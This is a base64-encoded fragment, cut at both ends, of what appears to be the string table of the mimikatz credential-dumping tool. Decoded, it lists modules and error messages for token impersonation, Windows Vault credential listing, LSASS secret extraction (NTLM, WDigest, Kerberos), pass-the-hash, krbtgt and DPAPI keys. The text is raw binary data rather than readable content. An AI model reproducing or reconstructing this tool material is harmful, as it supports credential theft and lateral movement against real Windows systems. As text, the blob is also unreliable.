uAGQALgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAE4ATwBOAF8AVgBPAEwAQQBUAEkATABFAAAAAAAAAAAAQgBPAE8AVABTAEUAUgBWAEkAQwBFAF8AQQBDAEMARQBTAFMAAAAAAFIAVQBOAFQASQBNAEUAXwBBAEMAQwBFAFMAUwAAAAAASABBAFIARABXAEEAUgBFAF8ARQBSAFIATwBSAF8AUgBFAEMATwBSAEQAAAAAAAAAQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAABUAEkATQBFAF8AQgBBAFMARQBEAF8AQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAAAAAEEAUABQAEUATgBEAF8AVwBSAEkAVABFAAAAAAAAAAAASwBpAHcAaQBFAGYAaQBWAGEAcgBpAGEAYgBsAGUAcwAAAAAAAAAAAEUAZgBpAEIAbwBvAHQAVgBhAHIAaQBhAGIAbABlAHMAAAAAAAAAAABFAHgAcABTAGUAYwB1AHIAZQBCAG8AbwB0AFYAZQBuAGQAbwByAAAAJQBzACAALQAgAAAAAAAAAHcAaABvAGEAbQBpAAAAAABEAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGkAZABlAG4AdABpAHQAeQAAAAAAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAAAAAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAB0AG8AawBlAG4AAAAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAAAAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBDAHIAZQBhAHQAZQBXAGUAbABsAEsAbgBvAHcAbgBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAAAAAABJAGQAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAAAAAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAAJQAtADEAMAB1AAkAAAAAACUAcwBcACUAcwAJACUAcwAAAAAAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAJQB1AAkAAAAgAC0APgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBkACAAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQB1AGwAdABpAHIAZABwAAAAAAAAAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAHQAcwAAAAAAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAAAAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdABjAGwAaQAAAAAAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAAAAAABWYXVsdEVudW1lcmF0ZUl0ZW1zAAAAAABWYXVsdENsb3NlVmF1bHQAVmF1bHRGcmVlAAAAAAAAAFZhdWx0R2V0SXRlbQAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAFAAaQBuACAATABvAGcAbwBuAAAAAAAAAFAAaQBjAHQAdQByAGUAIABQAGEAcwBzAHcAbwByAGQAAAAAAAAAAABCAGkAbwBtAGUAdAByAGkAYwAAAAAAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAAAAAAAAkASQB0AGUAbQBzACAAKAAlAHUAKQAKAAAAAAAAAAAACQAgACUAMgB1AC4ACQAlAHMACgAAAAAACQAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAAAAAAJAAkAUgBlAHMAcwBvAHUAcgBjAGUAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgACAAIAA6ACAAAAAAAAAAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAJQAyAHUAIAAgACAAIAAgADoAIAAAAAAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABFAG4AdQBtAGUAcgBhAHQAZQBWAGEAdQBsAHQAcwAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQBzAFwAJQBzAAAAAAAAAAAAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAYgBnAFAAYQB0AGgAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAFAASQBOACAAQwBvAGQAZQAgACAAIAAgACAAIAAgACAAOgAgACUAMAA0AGgAdQAKAAAAAAAJAAkAQgBhAGMAawBnAHIAbwB1AG4AZAAgAHAAYQB0AGgAIAA6ACAAJQBzAAoAAAAAAAAAAAAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAAAAAACQAJACAAWwAlAHUAXQAgAAAAAAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAAAAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAAAAAAAAAAAAAAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAAAAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUALgAqAHMAXAAAAAAAAAB0AG8AZABvACAAPwAKAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAABbAFUAUwBIAE8AUgBUAF0AIAAlAGgAdQAAAAAAAAAAAFsARABXAE8AUgBEAF0AIAAlAHUAAAAAAFsAUwBUAFIASQBOAEcAXQAgACUAcwAAAFsAQgBZAFQARQAqAF0AIAAAAAAAAAAAAFsAUwBJAEQAXQAgAAAAAABbAEEAVABUAFIASQBCAFUAVABFAF0ACgAAAAAAAAAAAAkACQAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAACQAJACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAAAAkACQAgACAAVgBhAGwAdQBlACAAIAAgADoAIAAAAAAAWwBUAHkAcABlACAAJQAyAHUAXQAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAADwATgBVAEwATAA+AAAAAAAAAAAAAAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBQAGUAcgBzAGkAcwB0ACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBGAGwAYQBnAHMAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsACAAOgAgAAAAAAAAAAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoAIAAlAHUACgAAAAAAAAAgAFsAJQAyAHUAXQAgAEEAdAB0AHIAaQBiAHUAdABlAAoAAAAAAAAAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAIAAgAEsAZQB5AHcAbwByAGQAIAA6ACAAJQBzAAoAAAAgACAAVgBhAGwAdQBlACAAIAAgADoAIAAAAAAAAAAAAGkAbgBmAG8AcwAAAAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAAAAAAAAAAAAAEYAaQBlAGwAZAAgADoAIAAlAHUAIAByACAAeAAgACUAdQAgAGMACgBNAGkAbgBlAHMAIAA6ACAAJQB1AAoACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABDACAAKABSACAAPQAgACUAdQApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAIABjAG8AcAB5AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAbABvAGIAYQBsACAAYwBvAHAAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAFMAZQBhAHIAYwBoACAAaQBzACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAE4AVAAgAEgAZQBhAGQAZQByAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABOAG8AIABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABpAG4AIABtAGUAbQBvAHIAeQAhAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABlAGwAZQBtAGUAbgB0AHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZgBpAHIAcwB0ACAAZQBsAGUAbQBlAG4AdAAKAAAAAAAAAGwAcwBhAHMAcgB2AAAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbgB0ADUAXwBpAG4AaQB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAKAAAAAABiAGMAcgB5AHAAdAAAAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAAAAAABCQ3J5cHRTZXRQcm9wZXJ0eQAAAAAAAABCQ3J5cHRHZXRQcm9wZXJ0eQAAAAAAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAAAAAAEJDcnlwdEVuY3J5cHQAAABCQ3J5cHREZWNyeXB0AAAAQkNyeXB0RGVzdHJveUtleQAAAAAAAAAAQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcgAAAAAzAEQARQBTAAAAAAAAAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBCAEMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQAAAAAAAAAAAE8AYgBqAGUAYwB0AEwAZQBuAGcAdABoAAAAAAAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAG0AcwB2AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABMAGkAcwB0AHMAIABLAGUAcgBiAGUAcgBvAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAHQAcwBwAGsAZwAAAAAAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABzAHMAcAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAbQBpAG4AaQBkAHUAbQBwAAAAAAAAAAAAAAAAAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAAAAAABwAHQAaAAAAFAAYQBzAHMALQB0AGgAZQAtAGgAYQBzAGgAAAAAAAAAawByAGIAdABnAHQAIQAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAABBAG4AdABpAHMAbwBjAGkAYQBsAAAAAABQAHIAZQBmAGUAcgByAGUAZAAgAEIAYQBjAGsAdQBwACAATQBhAHMAdABlAHIAIABrAGUAeQBzAAAAAAAAAAAAdABpAGMAawBlAHQAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIAB0AGkAYwBrAGUAdABzAAAAAAAAAGUAawBlAHkAcwAAAAAAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEMAYQBjAGgAZQBkACAATQBhAHMAdABlAHIASwBlAHkAcwAAAAAAYwByAGUAZABtAGEAbgAAAEwAaQBzAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABNAGEAbgBhAGcAZQByAAAAAAAAAAAAcwBlAGsAdQByAGwAcwBhAAAAAAAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAABTAG8AbQBlACAAYwBvAG0AbQBhAG4AZABzACAAdABvACAAZQBuAHUAb